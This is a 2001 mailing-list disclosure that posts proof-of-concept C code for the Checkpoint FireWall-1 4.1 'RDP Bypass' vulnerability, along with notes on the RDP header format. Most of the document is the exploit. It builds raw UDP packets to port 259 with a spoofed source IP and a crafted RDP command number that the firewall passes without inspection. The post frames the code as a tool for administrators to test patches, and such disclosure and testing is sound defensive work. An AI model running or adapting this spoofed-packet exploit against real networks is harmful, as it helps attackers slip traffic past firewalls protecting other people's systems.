As announced earlier this week, we hereby post the proof of concept
code for the FireWall-1 RDP Bypass Vulnerability. We think it doesn't
make sense to withhold it any longer for the following reasons.
1.) This is no "Script-Kiddie" exploit, it will not provide anyone
with a means to instantly break into foreign hosts.
2.) Any cracker with decent skills and access to a Firewall-1
machine for testing purposes will in the meantime have
developed his/her own code to make use of this vulnerability.
3.) Patches and workarounds have been provided by Checkpoint and
others. This proof of concept code will aid administrators in
testing their systems and the patches/workarounds they applied.
Some technical notes:
There has been some confusion about the term "RDP". There is actually
a protocol called "RPD (Reliable Datagram Protocol)" described in
RFC 908, which is directly based on the IP protocol. However this is
not the same as the proprietary "Checkpoint RDP protocol".
The Checkpoint RDP protocol is basically a UDP service with port 259,
the packets for this service therefore have the following structure:
#######################
# IP Header #
#######################
# UDP Header #
#######################
# RDP Header #
#######################
# Payload #
#######################
The RDP header simply consists of:
bit 0 31
######################
# RDP Magic Number #
######################
# RDP Command #
######################
or, expressing it in C
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
The value of the RDP Magic Number has turned out to be irrelevant for
our purposes. The numbers of those RDP commands that will be permitted
to pass the firewall without further processing follows straight from
the INSPECT include file $FWDIR/crypt.def.
In our code, we construct packets including IP and UDP header to allow
testing with arbitrary (spoofed) source IP adresses and ports.
This code has been written and tested on SuSE Linux 7.1 with
kernel 2.4.2. It should (possibly with minor changes) compile on
any other linux platform
Jochen
--
Jochen Bauer | Tel: +49711 6868 7030
Inside Security IT Consulting GmbH | Fax: +49711 6868 7031
Nobelstr. 15 | email: [EMAIL PROTECTED]
70569 Stuttgart, Germany | http://www.inside-security.de
/*
Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code
Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH
<[EMAIL PROTECTED]>
Compiled and tested on SuSE Linux 7.1
This program is for testing purposes only, any other use is prohibited!
*/
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
/*See $FWDIR/lib/crypt.def for the following definitions.*/
/*We set the highest bit, so that the RDP commands are */
/*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/
#define RDP_PORT 259 /*RDP port*/
#define RDPCRYPT_RESTARTCMD 101|0x80000000
#define RDPCRYPTCMD 100|0x80000000
#define RDPUSERCMD 150|0x80000000
#define RDPSTATUSCMD 128|0x80000000
/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum >> 16)+(sum & 0xffff);
sum+=(sum >> 16);
answer=~sum;
return(answer);
}
/*----------------------------------------------------------------------*/
/*------------Send spoofed UDP packet-----------------------------------*/
int send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;
char *packet;
int i;
struct udp_pseudo /*the udp pseudo header*/
{
unsigned int src_addr;
unsigned int dst_addr;
unsigned char dummy;
unsigned char proto;
unsigned short length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct udp_pseudo pshd;
struct udphdr udphd;
} udp_chk_construct;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 0;
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
ip_head.id = htons(30000 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl = 255;
ip_head.protocol = IPPROTO_UDP;
ip_head.check = 0; /*Must be zero for checksum calculation*/
ip_head.saddr = src;
ip_head.daddr = dst;
ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.len = htons(sizeof(struct udphdr)+len);
udp_head.check = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+len);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+len);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet
for*/
memcpy(packet+sizeof(struct help_checksum),buffer,len); /*checksum
calculation*/
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len);
free(packet);
/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = udp_head.source;
i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,
(struct sockaddr *)&target,sizeof(struct sockaddr_in));
free(packet);
if(i<0)
return(-1); /*Error*/
else
return(i); /*Return number of bytes sent*/
}
/*---------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
int i;
unsigned int source,target;
unsigned short int s_port,d_port;
char payload[]="abcdefg"; /*payload length must be a multiple of 4*/
char *data;
/*RDP header, refer to $FWDIR/lib/tcpip.def*/
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)
{
printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);
return(1);
}
else
{
source=inet_addr(argv[1]);
s_port=atoi(argv[2]);
target=inet_addr(argv[3]);
d_port=RDP_PORT;
}
/* the command number can be one of the following: */
/* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/
/*Assemble fake RDP header and payload*/
data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1);
memcpy(data,&rdp_head,sizeof(struct rdp_hdr));
memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);
if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
{
perror("socket");
exit(1);
}
i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct
rdp_hdr)+strlen(payload)+1);
if(i<0)
printf("Error, packet not sent\n");
else
printf("Sent %u bytes\n",i);
return(0);
}
